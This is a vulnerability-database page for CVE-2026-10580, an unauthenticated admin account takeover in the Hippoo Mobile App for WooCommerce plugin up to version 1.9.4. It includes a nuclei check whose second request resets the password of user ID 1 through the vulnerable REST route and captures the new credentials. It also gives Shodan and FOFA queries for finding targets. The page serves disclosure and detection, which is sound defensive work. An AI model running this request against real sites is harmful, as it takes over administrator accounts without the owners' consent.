HexBrain

Browse / CVEs / CVE-2026-10580

CVE-2026-10580· hippoo / hippoo-mobile-app-for-woocommerce· CWE-285

Hippoo Mobile App for WooCommerce <= 1.9.4 - Authentication Bypass to Admin Account Takeover

criticalseverity
9.8CVSS score
2.9%likelihood of exploitation, next 30 days
87%of all CVEs are less likely
Readycheck to confirm it

Hippoo Mobile App for WooCommerce WordPress plugin <= 1.9.4 contains an authentication bypass caused by logic conflation in user permission checks, letting unauthenticated attackers take over administrator accounts via REST API password reset.

Impact

Unauthenticated attackers can reset any WordPress user's password, including administrators, gaining full administrative control of the site.

Fix

Update to a version later than 1.9.4 or the latest available version.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/hippoo/readme.txt
Positive when: status_code == 200 and contains(body, 'Hippoo')
Send: POST /wp-json/wc-hippoo/v1/ext/wp/v2/users/1
Positive when: status_code_1 == 200 || status_code_2 == 200 and contains_any(body, "is_super_admin","capabilities") and contains(body, "woocommerce_meta")

Run it with nuclei: nuclei -id CVE-2026-10580 -u <target>

The full check
id: CVE-2026-10580

info:
  name: Hippoo Mobile App for WooCommerce <= 1.9.4 - Authentication Bypass to Admin Account Takeover
  author: pussycat0x
  severity: critical
  description: |
    Hippoo Mobile App for WooCommerce WordPress plugin <= 1.9.4 contains an authentication bypass caused by logic conflation in user permission checks, letting unauthenticated attackers take over administrator accounts via REST API password reset.
  impact: |
    Unauthenticated attackers can reset any WordPress user's password, including administrators, gaining full administrative control of the site.
  remediation: |
    Update to a version later than 1.9.4 or the latest available version.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/hippoo/hippoo-mobile-app-for-woocommerce-194-unauthenticated-authentication-bypass-to-administrator-account-takeover-via-rest-api
    - https://plugins.trac.wordpress.org/changeset/3557733
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-10580
    epss-score: 0.02948
    epss-percentile: 0.87276
    cwe-id: CWE-285
  metadata:
    max-request: 2
    vendor: hippoo
    product: hippoo-mobile-app-for-woocommerce
    framework: wordpress
    verified: true
    shodan-query: http.component:"wordpress"
    fofa-query: body="hippoo"
  tags: cve,cve2026,wordpress,wp-plugin,hippoo,woocommerce,intrusive

variables:
  new_password: "{{rand_base(16)}}"

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/hippoo/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'Hippoo')"
        condition: and
        internal: true

    extractors:
      - type: regex
        name: plugin_version
        part: body
        group: 1
        regex:
          - 'Stable tag:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        POST /wp-json/wc-hippoo/v1/ext/wp/v2/users/1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"password":"{{new_password}}"}

      - |
        POST /wp-json/wc-hippoo/v1/ext/wp/v2/users/1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"password":"{{new_password}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200 || status_code_2 == 200'
          - 'contains_any(body, "is_super_admin","capabilities")'
          - 'contains(body, "woocommerce_meta")'
        condition: and

    extractors:
      - type: regex
        name: username
        part: body
        group: 1
        regex:
          - '"username":"([^"]+)"'

      - type: dsl
        name: new_password
        dsl:
          - new_password

References

Use this check only on systems you are authorised to test. Where the data comes from